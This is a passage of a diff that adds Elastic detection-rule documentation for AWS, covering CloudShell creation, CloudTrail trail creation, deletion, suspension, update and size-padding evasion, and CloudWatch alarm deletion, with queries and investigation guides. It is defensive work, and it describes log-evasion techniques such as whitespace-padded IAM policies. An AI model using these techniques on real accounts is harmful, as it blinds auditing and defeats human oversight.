tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aws-samples.github.io/threat-technique-catalog-for-aws/Techniques/T1059.009.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS CloudShell +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudShell Environment Created* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. + +This rule detects when a CloudShell environment is created via the `CreateEnvironment` API. This event occurs when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region (each region maintains a separate environment). + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` or `user.name` to determine which IAM principal created the CloudShell environment. + - Check `aws.cloudtrail.user_identity.type` to identify whether this is an IAM user or an assumed role session. + - Verify if this user typically performs command-line or administrative operations. + +- **Analyze the source context** + - Review `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Check `user_agent.original` to confirm the request came from a browser session. + - Look for the preceding `ConsoleLogin` event to understand how the session was established. + +- **Correlate with surrounding activity** + - Look for any IAM operations (CreateAccessKey, CreateUser, AttachRolePolicy) that occurred after CloudShell was accessed. + - Check for data exfiltration patterns or reconnaissance activity from the same session. + +- **Assess the broader context** + - Determine if this user has a legitimate need for CloudShell access based on their role. + - Review recent access patterns for the console session that initiated CloudShell. + - Check if MFA was used for the console login. + + +*False positive analysis* + + +- Administrators routinely using CloudShell for AWS management tasks will trigger this rule. Consider tuning for known admin users if noise is a concern. +- Users accessing CloudShell in a new AWS region will generate a `CreateEnvironment` event even if they have used CloudShell before in other regions. +- Training or certification activities may involve CloudShell environment creation. + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session to revoke CloudShell access. +- Review and revoke any credentials or resources created during the CloudShell session. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts or users who do not require it. +- Implement session duration limits to reduce the window of opportunity for console session abuse. +- Enable MFA for all console logins to reduce the risk of session compromise. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudshell.amazonaws.com" + and event.action: "CreateEnvironment" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-created.asciidoc new file mode 100644 index 0000000000..91009a6770 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-created.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-aws-cloudtrail-log-created]] +=== AWS CloudTrail Log Created + +Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Created* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies +`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`. + - Confirm a related change request exists (onboarding, architecture change). +- **Validate trail configuration** + - In `aws.cloudtrail.request_parameters`, verify: + - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts). + - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard). + - `KmsKeyId` is an approved CMK; log file validation enabled. +- **Correlate activity** + - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation. + - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`. + + +*False positive analysis* + +- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template. +- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap. + + +*Response and remediation* + +- **If unauthorized** + - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources. + - Review the actor’s recent changes and rotate credentials if compromise is suspected. +- **Hardening** + - Restrict `cloudtrail:CreateTrail` to admin roles. + - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "CreateTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-deleted.asciidoc new file mode 100644 index 0000000000..767f04f617 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-deleted.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-aws-cloudtrail-log-deleted]] +=== AWS CloudTrail Log Deleted + +Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Deleted* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage. + + +*Possible investigation steps* + +- **Actor & target** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters`. +- **Blast radius** + - Determine whether it was the only trail or if organization/multi-region coverage remains. + - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports). +- **Data preservation** + - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation. + + +*False positive analysis* + +- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist. + + +*Response and remediation* + +- Recreate or re-enable compliant multi-region (or organization) trails immediately. +- Investigate the actor’s recent activity; rotate creds if compromise is suspected. +- Validate destination bucket policies, CMK policies, and event selectors for all active trails. +- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "DeleteTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-evasion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-evasion.asciidoc new file mode 100644 index 0000000000..b8017a72fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-evasion.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-aws-cloudtrail-log-evasion]] +=== AWS CloudTrail Log Evasion + +Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://permiso.io/blog/cloudtrail-logging-evasion-where-policy-size-matters + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Evasion* + + +Amazon CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your Amazon Web Services account. With CloudTrail, you can log, continuously monitor, and retain account activity related to actions across your Amazon Web Services infrastructure. In the `requestParameters` field of CloudTrail logs, a policy that was created/updated is typically displayed, including details such as the policy name and the full policy document content. However, when policies padded with large amounts of insignificant whitespace (such as spaces, tabs, or line breaks), reach a size range of 102,401 to 131,072 characters they begin to be omitted from CloudTrail logs and are instead rendered as "requestParameters too large". Attackers can do this to cover their tracks and impact security monitoring that relies on this source. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Examine the newly created or modified policy. +- If no policy name is included for event.actions like `PutRolePolicy`, analyze the inline policies attached for unexpected permission changes or additions. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions. However, this behavior is rarely seen in legitimate operations and should be thoroughly investigated. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and event.provider: iam.amazonaws.com and aws.cloudtrail.flattened.request_parameters.reason: "requestParameters too large" and aws.cloudtrail.flattened.request_parameters.omitted : true and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-suspended.asciidoc new file mode 100644 index 0000000000..ce8c724e8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-suspended.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-aws-cloudtrail-log-suspended]] +=== AWS CloudTrail Log Suspended + +Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Suspended* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + +- **Actor & scope** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Determine which trail stopped and whether it’s multi-region or organization-wide. +- **Timing and impact** + - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap? +- **Correlate activity** + - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes). + - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`. + + +*False positive analysis* + +- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation. + + +*Response and remediation* + +- Restart logging (`StartLogging`) immediately. +- Investigate actor’s recent activity; rotate credentials if suspicious. +- Validate trail configuration, destination bucket/CMK, and event selectors. +- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "StopLogging" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-updated.asciidoc new file mode 100644 index 0000000000..39e1d99d72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudtrail-log-updated.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-aws-cloudtrail-log-updated]] +=== AWS CloudTrail Log Updated + +Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Impact + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Updated* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. + + +*Possible investigation steps* + +- **Actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change. +- **Assess the modification** + - In `aws.cloudtrail.request_parameters`, note changes to: + - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId` + - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents` + - Event or insight selectors (management vs data events) +- **Correlate** + - Look for preceding `StopLogging` or following `DeleteTrail`. + - Review concurrent IAM policy edits or role changes by the same actor. + + +*False positive analysis* + +- **Planned changes**: Baseline drift during region onboarding or encryption rotation. +- **Automation**: IaC pipelines updating trails as templates evolve. + + +*Response and remediation* + +- **If unauthorized** + - Revert to baseline; validate destination ownership and KMS policy. + - Investigate time ranges where visibility may have been reduced. +- **Hardening** + - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "UpdateTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-alarm-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-alarm-deletion.asciidoc new file mode 100644 index 0000000000..226170c07e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-alarm-deletion.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-aws-cloudwatch-alarm-deletion]] +=== AWS CloudWatch Alarm Deletion + +Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudwatch/delete-alarms.html +* https://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_DeleteAlarms.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon CloudWatch +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Alarm Deletion* + + +Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly. + +Amazon CloudWatch Alarms monitor key metrics and trigger automated alerts or remediation workflows. Deleting these alarms disables monitoring of associated metrics and can delay detection of performance degradation or security incidents. Attackers may delete alarms to evade detection, suppress alerts, or disable security automation that responds to anomalies or policy violations. + +This rule detects successful calls to the `DeleteAlarms` API via CloudTrail. These events should be rare and always associated with a valid change-control request or automation pipeline. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. + - Check whether this actor typically performs CloudWatch management or automation tasks. + +- **Review request details** + - Inspect `aws.cloudtrail.request_parameters` for the specific alarm names deleted. + - Determine whether the alarms were security-related (e.g., CloudTrail log delivery, GuardDuty finding rate, or IAM API monitoring alarms). + - Cross-reference deleted alarms with your organization's list of critical monitoring configurations. + +- **Analyze source and context** + - Review `source.ip` and `user_agent.original` for anomalies such as external IPs, unusual user agents, or custom SDKs. + - Determine whether the activity occurred during a known maintenance window or from a trusted automation host. + - Examine `cloud.region` to identify whether alarms were deleted from unexpected regions. + +- **Correlate with surrounding events** + - Review CloudTrail events for related activity around the same time, such as: + - `PutMetricAlarm`, `DisableAlarmActions`, or `DeleteLogGroup` + - Changes to CloudTrail, Config, or GuardDuty configurations + - IAM policy or permission modifications that could facilitate evasion + - Identify whether the same actor has previously modified logging or monitoring infrastructure. + +- **Assess impact and scope** + - Determine which systems or detection workflows relied on the deleted alarms. + - Review whether the deletion affected automated responses, notifications, or third-party integrations (e.g., SNS, Lambda, or PagerDuty). + + +*False positive analysis* + + +- **Legitimate automation or redeployment** + - Infrastructure as Code (IaC) frameworks such as Terraform or CloudFormation may delete and recreate alarms during updates. + - Validate automation account roles and ensure alarm deletions are immediately followed by re-creation actions. +- **Operational maintenance** + - Scheduled monitoring cleanup, regional deactivation, or test environment resets can trigger legitimate deletions. + - Verify timing and user identity against approved change management records. +- **Organizational migrations** + - Security operations or DevOps teams may consolidate alarms during account merges or refactors. + - Confirm intent with 